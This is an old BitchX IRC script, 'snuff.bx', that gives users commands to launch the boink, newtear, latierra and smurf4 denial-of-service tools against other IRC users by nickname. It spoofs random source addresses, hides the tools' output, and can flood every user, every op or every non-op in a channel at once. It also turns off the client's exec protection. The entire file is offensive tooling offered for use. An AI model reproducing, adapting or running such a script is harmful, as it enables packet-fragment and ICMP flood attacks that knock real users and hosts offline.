#snuff.bx lame bitchx script for boink,newtear,latierra,smurf4 #greets go out to Atomic,fibro,pavement,theSa1nt,all undernet #bitchx ops #1-18-98 #any comments or bitchin #DethWish@undernet @killprefix=[] alias randip { @function_return=[${rand(254)+1}.${rand(254)+1}.${rand(254)+1}.${rand(254)+1}] } assign snuff [Snuff/Bx] ^eval echo $G $snuff Loaded... ^eval echo $G $snuff Script for Latierra-Boink-Newtear-Smurf4 ^eval echo $G $snuff type /snhelp for commands... alias snhelp { eval echo $snuff [Commands for Boink] eval echo $snuff /bonk <nick> <source> <start-port> <end-port> <how-many> eval echo $snuff /mboink - boinks everyone in current chan eval echo $snuff /oboink - boinks all of the ops in current chan eval echo $snuff /noboink - boinks all of the non ops in current chan eval echo $snuff [Commands for Newtear] eval echo $snuff /newtear <nick> <source> <-s source-port> <-t dest-port> <-n how-many> eval echo $snuff /mnetear - newtears everyone in current chan eval echo $snuff /onetear - newtears all the ops in current chan eval echo $snuff /nonetear - newtears all of the non ops in current chan eval echo $snuff [Commands for Latierra] eval echo $snuff /latie <nick> eval echo $snuff /mlatie - Latierras everyone in current chan eval echo $snuff /olatie - Latierras all the ops in cureent chan eval echo $snuff /nolatie - Latierras all of the non ops in current chan eval echo $snuff [Commands for Smurf4] eval echo $snuff /smurf <nick> <bcast addy file> <number> <delay> <size> eval echo $snuff /smhalt - Halts ICMP Smurf Flood } alias bonk { if ([$0]!=[]) { @killsrc=[$1] @killopts=[$2-] if ([$1]==[]) {@killsrc=randip()}{@killsrc=[$1]} userhost $0 -cmd if ([$4]!=[]) { @killnick=[$0] @killvict=[$4] ^exec ${killprefix}boink $killsrc $killvict $killopts 1>/dev/null 2>/dev/null echo $G Sending boink to ${killnick} }{echo $G Apparantly, that user does not exist.} }{ echo $G Usage: ${c8}/${c15}bonk ${c8}<${c7}victim${c8}> \[${c7}src${c8}\] \[${c7}start_prt${c8}\] \[${c7}end_prt${c8}\] \[${c7}how_many${c8}]${c7} } } alias newtear { if ([$0]!=[]) { @killsrc=[$1] @killopts=[$2-] if ([$1]==[]) {@killsrc=randip()}{@killsrc=[$1]} userhost $0 -cmd if ([$4]!=[]) { @killnick=[$0] @killvict=[$4] ^exec ${killprefix}newtear $killsrc $killvict $killopts 1>/dev/null 2>/dev/null echo $G Death on flaxen wings dispatched to ${killnick} }{echo $G Apparantly, that user does not exist.} }{ echo $G Usage: ${c8}/${c15}newtear ${c8}<${c7}victim${c8}> \[${c7}src${c8}\] \[${c7}-s src_prt${c8}\] \[${c7}-t dst_prt${c8}\] \[${c7}-n how_many${c8}]${c7} } } alias boink { if ([$0]!=[]) { userhost $0 -cmd if ([$4]!=[]) { @killnick=[$0] @killvict=[$4] ^exec ${killprefix}boinker $killvict 1>/dev/null 2>/dev/null }{echo $G Apparantly, that user does not exist.} }{ echo $G Usage: ${c8}/${c15}boink ${c8}<${c7}victim${c8}> } } alias netear { if ([$0]!=[]) { userhost $0 -cmd if ([$4]!=[]) { @killnick=[$0] @killvict=[$4] ^exec ${killprefix}tearker $killvict 1>/dev/null 2>/dev/null }{echo $G Apparantly, that user does not exist.} }{ echo $G Usage: ${c8}/${c15}netear ${c8}<${c7}victim${c8}> } } alias latie { if ([$0]!=[]) { userhost $0 -cmd if ([$4]!=[]) { @killnick=[$0] @killvict=[$4] ^exec ${killprefix}latierra -i $killvict -b 112 -e 140 1>/dev/null 2>/dev/null }{echo $G Apparantly, that user does not exist.} }{ echo $G Usage: ${c8}/${c15}latie ${c8}<${c7}victim${c8}> } } alias smurf { if ([$0]!=[]) { @killfile=[$1] @killopts=[$2-] userhost $0 -cmd if ([$4]!=[]) { @killnick=[$0] @killvict=[$4] ^exec ${killprefix}smurf4 $killvict $killfile $killopts 1>/dev/null 2>/dev/null echo $G Smurfing ${killnick} }{echo $G Apparantly, that user does not exist.} }{ echo $G Usage: ${c8}/${c15}smurf ${c8}<${c7}victim${c8}> ${c8}\[${c7}bcast addy file ${c8}\(${c7}number-delay-size${c8}\)\]${c7} } } alias smhalt { echo $G Smurf: halting smurf icmp flood.. ^exec killall -9 smurf4 1>/dev/null 2>/dev/null } alias mboink { fe ($chanusers()) thc { /boink $thc }} alias oboink { fe ($chops()) thc { /boink $thc }} alias noboink { fe ($nochops()) thc { /boink $thc }} alias mnetear { fe ($chanusers()) thc { /netear $thc }} alias onetear { fe ($chops()) thc { /netear $thc }} alias nonetear { fe ($nochops()) thc { /netear $thc }} alias mlatie { fe ($chanusers()) thc { /latie $thc }} alias olatie { fe ($chops()) thc { /latie $thc }} alias nolatie { fe ($nochops()) thc { /latie $thc }} ^eval set format_version $format_version + $snuff ^eval set exec_protection off